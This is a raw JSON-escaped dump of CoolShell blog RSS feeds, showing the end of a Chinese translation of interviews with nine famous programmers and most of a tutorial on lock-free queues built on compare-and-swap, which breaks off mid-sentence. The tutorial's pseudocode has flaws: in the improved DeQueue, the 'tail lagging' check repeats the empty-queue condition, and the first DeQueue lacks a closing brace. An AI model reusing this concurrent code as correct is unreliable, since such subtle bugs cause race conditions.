用它可以干我想干的所有的事，清洁，简单和高效。这是最好的我永远要生活在其中的环境了。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>Unix, sam (一个非常简单的文本编辑器), 当然，一个好的C++编译器。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>我喜欢 Unix-like 的操作系统，像 Python 和 Ruby 的动态语言，像Java的静态语言（具体说来是Java API） Emacs, 还有, bash, whatever, NetBeans.</p>\n<h4>Q 8: 你最喜欢的编程书是什么？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>大哥，这个问题太难了。也许是&#8221;Gödel, Escher, Bach: an Eternal Golden Braid&#8221; (作者Hofstadter)？虽然这不是严格意义上的编程的书，如果你要明确意义上的编程书，那么可能是 SICP (mitpress.mit.edu).</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>嗨。这两天我在读一些小说，或是非计算机读物（老的但是有用的 &#8220;The Selfish Gene&#8221; 作者 Richard Dawkins)。</p>\n<p>如果要问我编程的书，我脑子里只出现了唯 一一本真正的经典的编程的书 Kernighan &amp; Ritchie 的 &#8220;The C Programming Language&#8221;，因为这本书太牛了，可读性强并且很短。考<del>虚</del>虑一下你想学到这世上一门最重要编程语言，并且它很要很薄，而且还有可读性，这真是一个奇迹。</p>\n<p>也就是说，其它我很喜欢的书并不是编程的，而是关于计算机结构和硬件的。那显然是 Patterson &amp; Hennessy 的计算机结构的书，但是我个人也许更喜欢 Crawford &amp; Gelsinger 的 &#8220;Programming the 80386?，这是我在开始写Linux时用的书。</p>\n<p>相似的原因，我还喜欢 Andrew Tanenbaum 的 &#8220;Operating Systems: Design and Implementation&#8221;.</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>我喜欢 Extreme Programming Explained 其摒弃了一般的编程实践，我还喜欢 Patterns of Enterprise Application Architecture 其出众地说明了抽象和具现的平衡。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>Structure and Interpretation of Computer Programs</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>这关系到你所谓的“最喜欢”，也许我最喜欢的是IBM的 &#8220;IBM/360 Principles of Operation.&#8221;</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>Neil Stephenson的 Quicksilver.</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>Programming Pearls 作者Jon Bentley.</p>\n<p><em><strong>Bjarne Stroustrup</strong></em></p>\n<p>K&amp;R.</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>Bentley的 Programming Pearls</p>\n<h4>Q 9: 你最喜欢的和编程无关的一本书是什么？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>只能是一本吗？这不可能。有太多太多我喜欢的书了。</p>\n<p>我这个月读过最喜欢的书是 &#8220;Stardust&#8221; (Neil Gaiman) 和 &#8220;The Mind’s I&#8221; (Hofstadter/Dennet).</p>\n<p>我最喜欢的作者是 Kurt Vonnegut, Jr. 和 Jack Vance.</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>我在前面说过 Dawkins的 Selfish Gene。在小说方面，有很多很多我enjoy的，但是几乎没有我特别喜欢的一本。我一般不会重读一本书，我的选择总是会变。我可能更喜欢科幻小说，如：&#8221;Stranger in a Strange Land&#8221; 作者 Heinlein，这是我青少年时期最喜欢的书，但现在并不是我喜欢的了。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>1984, George Orwell.</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>Neil Stephenson 的 Quicksilver.</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>Guns, Germs &amp; Steel 作者 Jared Diamond</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>我没有固定喜欢的书。目前是 O’Brian 的 Aubrey/Maturin 系列。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>One Day in the Life of Ivan Denisovich</p>\n<h4>Q 10: 你最喜欢的乐队/演奏家/作曲家？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>喜欢的风格：古典音乐，动漫原声音乐，电脑游戏音乐</p>\n<p>喜欢的作曲家：Rachmaninoff, Chopin, Bach</p>\n<p>喜欢的演奏者：David Russell (古典吉它), Sviatoslav Richter (钢琴)</p>\n<p>喜欢的动漫音乐： Last Exile, Haibane Renmei</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>实际上我并不太喜欢音乐，但是当我听音乐的时候，我一般听经典摇滚乐，如： Pink Floyd ，Beatles ，Queen 和 The Who 乐队。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>我喜欢很多风格。 Beth Orton, Aimee Mann, Jewel, Lauryn Hill. Actually, 所有的这些都可以归到 Girls with Guitars ;).</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>Philip Glass.</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>我喜欢听民歌: Christine Lavin, Woody Guthrie, Pete Seeger&#8230;</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>乐队: The Dixie Chicks. 作曲家: Beethoven.</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>看我的博客吧。</p>\n<p>. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</p>\n<p>. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</p>\n<h4><strong> 补充说明</strong></h4>\n<p>我之所以发现这篇文章，是因为我读到了 Jeff Atwood 的这篇名为 &#8220;<a href=\"http://www.codinghorror.com/blog/2006/07/linus-torvalds-visual-basic-fan.html\">Linus Torvalds, Visual Basic Fan</a>&#8221; 的文章，这篇文章指向了 &#8220;<a href=\"http://sztywny.titaniumhosting.com/2006/07/23/stiff-asks-great-programmers-answers/\">STIFF ASKS, GREAT PROGRAMMERS ANSWER</a>&#8221; 这篇文章，但是链接已坏了，然后，我搜了一下也没有搜到这篇文章。然后我去了 archive.org 搜了一下，并找到了这篇由 Jaroslaw Rzeszótko 写的博客。</p>\n<p>因为这篇博文现在找不到了，所以，我想我应该重新把它贴出来，这样其它人可以读一下这篇有意思的文章。所以，我向原作者取得了授权，再次感谢 Jaroslaw!</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8275.html\">对九个超级程序员的采访</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8275.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>70</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-11.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 11 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=11\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Mon, 06 Jul 2020 10:11:27 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>无锁队列的实现</title>\n\t\t<link>https://coolshell.cn/articles/8239.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8239.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 07 Sep 2012 00:26:55 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<category><![CDATA[Queue]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8239</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>————注：本文于2019年11月4日更新———— 关于无锁队列的实现，网上有很多文章，虽然本文可能和那些文章有所重复，但是我还是想以我自己的方式把这些文章中的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8239.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8239.html\">无锁队列的实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: center;\"><strong><em>————注：本文于2019年11月4日更新————</em></strong></p>\n<p>关于无锁队列的实现，网上有很多文章，虽然本文可能和那些文章有所重复，但是我还是想以我自己的方式把这些文章中的重要的知识点串起来和大家讲一讲这个技术。下面开始正文。</p>\n<h4>关于CAS等原子操作</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-8245\" title=\"lock free bicycle\" src=\"https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle.jpg\" alt=\"\" width=\"350\" height=\"261\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle.jpg 350w, https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle-300x224.jpg 300w\" sizes=\"(max-width: 350px) 100vw, 350px\" />在开始说无锁队列之前，我们需要知道一个很重要的技术就是CAS操作——Compare &amp; Set，或是 Compare &amp; Swap，<strong>现在几乎所有的CPU指令都支持CAS的原子操作，X86下对应的是 <span style=\"color: #ff0000;\">CMPXCHG </span>汇编指令。</strong>有了这个原子操作，我们就可以用其来实现各种无锁（lock free）的数据结构。</p>\n<p>这个操作用C语言来描述就是下面这个样子：（代码来自<a href=\"http://en.wikipedia.org/wiki/Compare-and-swap\" target=\"_blank\" rel=\"noopener noreferrer\">Wikipedia的Compare And Swap</a>词条）意思就是说，看一看内存<code>*reg</code>里的值是不是<code>oldval</code>，如果是的话，则对其赋值<code>newval</code>。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">\nint compare_and_swap (int* reg, int oldval, int newval)\n{\n  int old_reg_val = *reg;\n  if (old_reg_val == oldval) {\n     *reg = newval;\n  }\n  return old_reg_val;\n}\n</pre>\n<p>我们可以看到，<code>old_reg_val</code> 总是返回，于是，我们可以在 <code>compare_and_swap</code> 操作之后对其进行测试，以查看它是否与 <code>oldval</code>相匹配，因为它可能有所不同，这意味着另一个并发线程已成功地竞争到 <code>compare_and_swap</code> 并成功将 <code>reg</code> 值从 <code>oldval</code> 更改为别的值了。</p>\n<p>这个操作可以变种为返回bool值的形式（返回 bool值的好处在于，可以调用者知道有没有更新成功）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">bool compare_and_swap (int *addr, int oldval, int newval)\n{\n  if ( *addr != oldval ) {\n      return false;\n  }\n  *addr = newval;\n  return true;\n}</pre>\n<p>与CAS相似的还有下面的原子操作：（这些东西大家自己看Wikipedia，也没什么复杂的）</p>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Fetch-and-add\" target=\"_blank\" rel=\"noopener noreferrer\">Fetch And Add</a>，一般用来对变量做 +1 的原子操作</li>\n<li><a title=\"Test-and-set\" href=\"http://en.wikipedia.org/wiki/Test-and-set\">Test-and-set</a>，写值到某个内存位置并传回其旧值。汇编指令BST</li>\n<li><a title=\"Test and Test-and-set\" href=\"http://en.wikipedia.org/wiki/Test_and_Test-and-set\">Test and Test-and-set</a>，用来低低Test-and-Set的资源争夺情况</li>\n</ul>\n<p><strong>注：</strong>在实际的C/C++程序中，CAS的各种实现版本如下：</p>\n<p><span id=\"more-8239\"></span></p>\n<p><strong>1）GCC的CAS</strong></p>\n<p style=\"padding-left: 30px;\">GCC4.1+版本中支持CAS的原子操作（完整的原子操作可参看<a href=\"http://gcc.gnu.org/onlinedocs/gcc-4.1.1/gcc/Atomic-Builtins.html\" target=\"_blank\" rel=\"noopener noreferrer\"> GCC Atomic Builtins</a>）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">bool __sync_bool_compare_and_swap (type *ptr, type oldval type newval, ...)\ntype __sync_val_compare_and_swap (type *ptr, type oldval type newval, ...)</pre>\n<p><strong>2）Windows的CAS</strong></p>\n<p style=\"padding-left: 30px;\">在Windows下，你可以使用下面的Windows API来完成CAS：（完整的Windows原子操作可参看MSDN的<a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms686360(v=vs.85).aspx#interlocked_functions\" target=\"_blank\" rel=\"noopener noreferrer\">InterLocked Functions</a>）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\"> InterlockedCompareExchange ( __inout LONG volatile *Target,\n                                 __in LONG Exchange,\n                                 __in LONG Comperand);</pre>\n<p><strong>3) C++11中的CAS</strong></p>\n<p style=\"padding-left: 30px;\">C++11中的STL中的atomic类的函数可以让你跨平台。（完整的C++11的原子操作可参看 <a href=\"http://en.cppreference.com/w/cpp/atomic\" target=\"_blank\" rel=\"noopener noreferrer\">Atomic Operation Library</a>）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">template&lt; class T &gt;\nbool atomic_compare_exchange_weak( std::atomic* obj,\n                                   T* expected, T desired );\ntemplate&lt; class T &gt;\nbool atomic_compare_exchange_weak( volatile std::atomic* obj,\n                                   T* expected, T desired );\n</pre>\n<h4>无锁队列的链表实现</h4>\n<p>下面的代码主要参考于两篇论文：</p>\n<ul>\n<li>John D. Valois 1994年10月在拉斯维加斯的并行和分布系统系统国际大会上的一篇论文——《<a href=\"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.53.8674&amp;rep=rep1&amp;type=pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Implementing Lock-Free Queues</a>》</li>\n<li>美国纽约罗切斯特大学 Maged M. Michael 和 Michael L. Scott 在1996年3月发表的一篇论文 《<a href=\"https://www.cs.rochester.edu/u/scott/papers/1996_PODC_queues.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Simple, Fast, and Practical Non-Blocking and Blocking ConcurrentQueue Algorithms</a>》</li>\n</ul>\n<p>（注：下面的代码并不完全与这篇论文相同）</p>\n<p>初始化一个队列的代码很简，初始化一个dummy结点（注：在链表操作中，使用一个dummy结点，可以少掉很多边界条件的判断），如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">\nInitQueue(Q)\n{\n    node = new node()\n    node-&gt;next = NULL;\n    Q-&gt;head = Q-&gt;tail = node;\n}\n</pre>\n<p>我们先来看一下进队列用CAS实现的方式，基本上来说就是链表的两步操作：</p>\n<ol>\n<li>第一步，把tail指针的next指向要加入的结点。 <code>tail-&gt;next = p;</code></li>\n<li>第二步，把tail指针移到队尾。 <code>tail = p;</code></li>\n</ol>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">\nEnQueue(Q, data) //进队列\n{\n    //准备新加入的结点数据\n    n = new node();\n    n-&gt;value = data;\n    n-&gt;next = NULL;\n\n    do {\n        p = Q-&gt;tail; //取链表尾指针的快照\n    } while( CAS(p-&gt;next, NULL, n) != TRUE); \n    //while条件注释：如果没有把结点链在尾指针上，再试\n\n    CAS(Q-&gt;tail, p, n); //置尾结点 tail = n;\n}</pre>\n<p>我们可以看到，程序中的那个 do-while 的 Retry-Loop 中的 CAS 操作：如果 <code>p-&gt;next</code> 是 <code>NULL</code>，那么，把新结点 <code>n</code> 加到队尾。如果不成功，则重新再来一次！</p>\n<p>就是说，很有可能我在准备在队列尾加入结点时，别的线程已经加成功了，于是tail指针就变了，于是我的CAS返回了false，于是程序再试，直到试成功为止。这个很像我们的抢电话热线的不停重播的情况。</p>\n<p>但是你会看到，为什么我们的“置尾结点”的操作（第13行）不判断是否成功，因为：</p>\n<ol>\n<li>如果有一个线程T1，它的while中的CAS如果成功的话，那么其它所有的 随后线程的CAS都会失败，然后就会再循环，</li>\n<li>此时，如果T1 线程还没有更新tail指针，其它的线程继续失败，因为<code>tail-&gt;next</code>不是NULL了。</li>\n<li>直到T1线程更新完 <code>tail</code> 指针，于是其它的线程中的某个线程就可以得到新的 <code>tail</code> 指针，继续往下走了。</li>\n<li>所以，只要线程能从 while 循环中退出来，意味着，它已经“独占”了，<code>tail</code> 指针必然可以被更新。</li>\n</ol>\n<p>这里有一个潜在的问题——<strong>如果T1线程在用CAS更新tail指针的之前，线程停掉或是挂掉了，那么其它线程就进入死循环了</strong>。下面是改良版的EnQueue()</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-highlight=\"10,11\">EnQueue(Q, data) //进队列改良版 v1\n{\n    n = new node();\n    n-&gt;value = data;\n    n-&gt;next = NULL;\n\n    p = Q-&gt;tail;\n    oldp = p\n    do {\n        while (p-&gt;next != NULL)\n            p = p-&gt;next;\n    } while( CAS(p.next, NULL, n) != TRUE); //如果没有把结点链在尾上，再试\n\n    CAS(Q-&gt;tail, oldp, n); //置尾结点\n}</pre>\n<p>我们让每个线程，自己fetch 指针 <code>p</code> 到链表尾。但是这样的fetch会很影响性能。而且，如果一个线程不断的EnQueue，会导致所有的其它线程都去 fetch 他们的 <code>p</code> 指针到队尾，能不能不要所有的线程都干同一个事？这样可以节省整体的时间？</p>\n<p>比如：直接 fetch <code>Q-&gt;tail</code> 到队尾？因为，所有的线程都共享着 Q-&gt;tail，所以，一旦有人动了它后，相当于其它的线程也跟着动了，于是，我们的代码可以改进成如下的实现：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">\nEnQueue(Q, data) //进队列改良版 v2 \n{\n    n = new node();\n    n-&gt;value = data;\n    n-&gt;next = NULL;\n\n    while(TRUE) {\n        //先取一下尾指针和尾指针的next\n        tail = Q-&gt;tail;\n        next = tail-&gt;next;\n\n        //如果尾指针已经被移动了，则重新开始\n        if ( tail != Q-&gt;tail ) continue;\n\n        //如果尾指针的 next 不为NULL，则 fetch 全局尾指针到next\n        if ( next != NULL ) {\n            CAS(Q-&gt;tail, tail, next);\n            continue;\n        }\n\n        //如果加入结点成功，则退出\n        if ( CAS(tail-&gt;next, next, n) == TRUE ) break;\n    }\n    CAS(Q-&gt;tail, tail, n); //置尾结点\n}\n</pre>\n<p>上述的代码还是很清楚的，相信你一定能看懂，而且，这也是 Java 中的 <code>ConcurrentLinkedQueue</code> 的实现逻辑，当然，我上面的这个版本比 Java 的好一点，因为没有 if 嵌套，嘿嘿。</p>\n<p>好了，我们解决了EnQueue，我们再来看看DeQueue的代码：（很简单，我就不解释了）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">\nDeQueue(Q) //出队列\n{\n    do{\n        p = Q-&gt;head;\n        if (p-&gt;next == NULL){\n            return ERR_EMPTY_QUEUE;\n        }\n    while( CAS(Q-&gt;head, p, p-&gt;next) != TRUE );\n    return p-&gt;next-&gt;value;\n}</pre>\n<p><strong>我们可以看到，DeQueue的代码操作的是 <code>head-&gt;next</code>，而不是 <code>head</code> 本身。这样考虑是因为一个边界条件，我们需要一个dummy的头指针来解决链表中如果只有一个元素，<code>head</code> 和 <code>tail</code> 都指向同一个结点的问题，这样 <code>EnQueue</code> 和 <code>DeQueue</code> 要互相排斥了</strong>。</p>\n<p>但是，如果 <code>head</code> 和 <code>tail</code> 都指向同一个结点，这意味着队列为空，应该返回 <code>ERR_EMPTY_QUEUE</code>，但是，在判断 <code>p-&gt;next == NULL</code> 时，另外一个EnQueue操作做了一半，此时的 p-&gt;next 不为 NULL了，但是 tail 指针还差最后一步，没有更新到新加的结点，这个时候就会出现，在 EnQueue 并没有完成的时候， DeQueue 已经把新增加的结点给取走了，此时，队列为空，但是，head 与 tail 并没有指向同一个结点。如下所示：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-20047\" src=\"https://coolshell.cn/wp-content/uploads/2012/09/lock.free_.queue_-224x300.png\" alt=\"\" width=\"400\" height=\"537\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/09/lock.free_.queue_-224x300.png 224w, https://coolshell.cn/wp-content/uploads/2012/09/lock.free_.queue_-201x270.png 201w, https://coolshell.cn/wp-content/uploads/2012/09/lock.free_.queue_.png 706w\" sizes=\"(max-width: 400px) 100vw, 400px\" /></p>\n<p>虽然，EnQueue的函数会把 tail 指针置对，但是，这种情况可能还是会导致一些并发问题，所以，严谨来说，我们需要避免这种情况。于是，我们需要加入更多的判断条件，还确保这个问题。下面是相关的改进代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">\nDeQueue(Q) //出队列，改进版\n{\n    while(TRUE) {\n        //取出头指针，尾指针，和第一个元素的指针\n        head = Q-&gt;head;\n        tail = Q-&gt;tail;\n        next = head-&gt;next;\n\n        // Q-&gt;head 指针已移动，重新取 head指针\n        if ( head != Q-&gt;head ) continue;\n        \n        // 如果是空队列\n        if ( head == tail &amp;&amp; next == NULL ) {\n            return ERR_EMPTY_QUEUE;\n        }\n        \n        //如果 tail 指针落后了\n        if ( head == tail &amp;&amp; next == NULL ) {\n            CAS(Q-&gt;tail, tail, next);\n            continue;\n        }\n\n        //移动 head 指针成功后，取出数据\n        if ( CAS( Q-&gt;head, head, next) == TRUE){\n            value = next-&gt;value;\n            break;\n        }\n    }\n    free(head); //释放老的dummy结点\n    return value;\n}</pre>\n<p>上面这段代码的逻辑和 Java 的 <code>ConcurrentLinkedQueue</code> 的 <code>poll</code> 方法很一致了。也是《<a href=\"https://www.cs.rochester.edu/u/scott/papers/1996_PODC_queues.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Simple, Fast, and Practical Non-Blocking and Blocking ConcurrentQueue Algorithms</a>》这篇论文中的实现。</p>\n<h4>CAS的ABA问题</h4>\n<p>所谓ABA（<a href=\"http://en.wikipedia.org/wiki/ABA_problem\" target=\"_blank\" rel=\"noopener noreferrer\">见维基百科的ABA词条</a>），问题基本是这个样子：</p>\n<ol>\n<li>进程P1在共享变量中读到值为A</li>\n<li>P1被抢占了，进程P2执行</li>\n<li>P2把共享变量里的值从A改成了B，再改回到A，此时被P1抢占。</li>\n<li>P1回来看到共享变量里的值没有被改变，于是继续执行。</li>\n</ol>\n<p>虽然P1以为变量值没有改变，继续执行了，但是这个会引发一些潜在的问题。<strong>ABA问题最容易发生在lock free 的算法中的，CAS首当其冲，因为CAS判断的是指针的值。很明显，值是很容易又变成原样的。</strong></p>\n<p>比如上述的DeQueue()函数，因为我们要让head和tail分开，所以我们引入了一个dummy指针给head，当我们做CAS的之前，如果head的那块内存被回收并被重用了，而重用的内存又被EnQueue()进来了，这会有很大的问题。（<strong>内存管理中重用内存基本上是一种很常见的行为</strong>）</p>\n<p>这个例子你可能没有看懂，维基百科上给了一个活生生的例子——</p>\n<blockquote><p>你拿着一个装满钱的手提箱在飞机场，此时过来了一个火辣性感的美女，然后她很暖昧地挑逗着你，并趁你不注意的时候，把用一个一模一样的手提箱和你那装满钱的箱子调了个包，然后就离开了，你看到你的手提箱还在那，于是就提着手提箱去赶飞机去了。</p></blockquote>\n<p>这就是ABA的问题。</p>\n<h4>解决ABA的问题</h4>\n<p>维基百科上给了一个解——使用double-CAS（双保险的CAS），例如，在32位系统上，我们要检查64位的内容</p>\n<p style=\"padding-left: 30px;\">1）一次用CAS检查双倍长度的值，前半部是值，后半部分是一个计数器。</p>\n<p style=\"padding-left: 30px;\">2）只有这两个都一样，才算通过检查，要吧赋新的值。并把计数器累加1。</p>\n<p>这样一来，ABA发生时，虽然值一样，但是计数器就不一样（但是在32位的系统上，这个计数器会溢出回来又从1开始的，这还是会有ABA的问题）</p>\n<p>当然，我们这个队列的问题就是不想让那个内存重用，这样明确的业务问题比较好解决，论文《<a href=\"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.53.8674&amp;rep=rep1&amp;type=pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Implementing Lock-Free Queues</a>》给出一这么一个方法——<strong>使用结点内存引用计数refcnt</strong>！（论文《<a href=\"https://www.cs.rochester.edu/u/scott/papers/1996_PODC_queues.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Simple, Fast, and Practical Non-Blocking and Blocking ConcurrentQueue Algorithms</a>》中的实现方法也基本上是一样的，用到的是增加一个计数，可以理解为版本号）</p>\n<p>）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-highlight=\"9,14\">SafeRead(q)\n{\n    loop:\n        p = q-&gt;next;\n        if (p == NULL){\n            return p;\n        }\n\n        Fetch&amp;Add(p-&gt;refcnt, 1);\n\n        if (p == q-&gt;next){\n            return p;\n        }else{\n            Release(p);\n        }\n    goto loop;\n}</pre>\n<p>其中的 Fetch&amp;Add和Release分是是加引用计数和减引用计数，都是原子操作，这样就可以阻止内存被回收了。</p>\n<h4>用数组实现无锁队列</h4>\n<p>本实现来自论文《<a href=\"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.53.8674&amp;rep=rep1&amp;type=pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Implementing Lock-Free Queues</a>》</p>\n<p>使用数组来实现队列是很常见的方法，因为没有内存的分部和释放，一切都会变得简单，实现的思路如下：</p>\n<p style=\"padding-left: 30px;\">1）数组队列应该是一个ring buffer形式的数组（环形数组）</p>\n<p style=\"padding-left: 30px;\">2）数组的元素应该有三个可能的值：HEAD，TAIL，EMPTY（当然，还有实际的数据）</p>\n<p style=\"padding-left: 30px;\">3）数组一开始全部初始化成EMPTY，有两个相邻的元素要初始化成HEAD和TAIL，这代表空队列。</p>\n<p style=\"padding-left: 30px;\">4）EnQueue操作。假设数据x要入队列，定位TAIL的位置，使用double-CAS方法把(TAIL, EMPTY) 更新成 (x, TAIL)。需要注意，如果找不到(TAIL, EMPTY)，则说明队列满了。</p>\n<p style=\"padding-left: 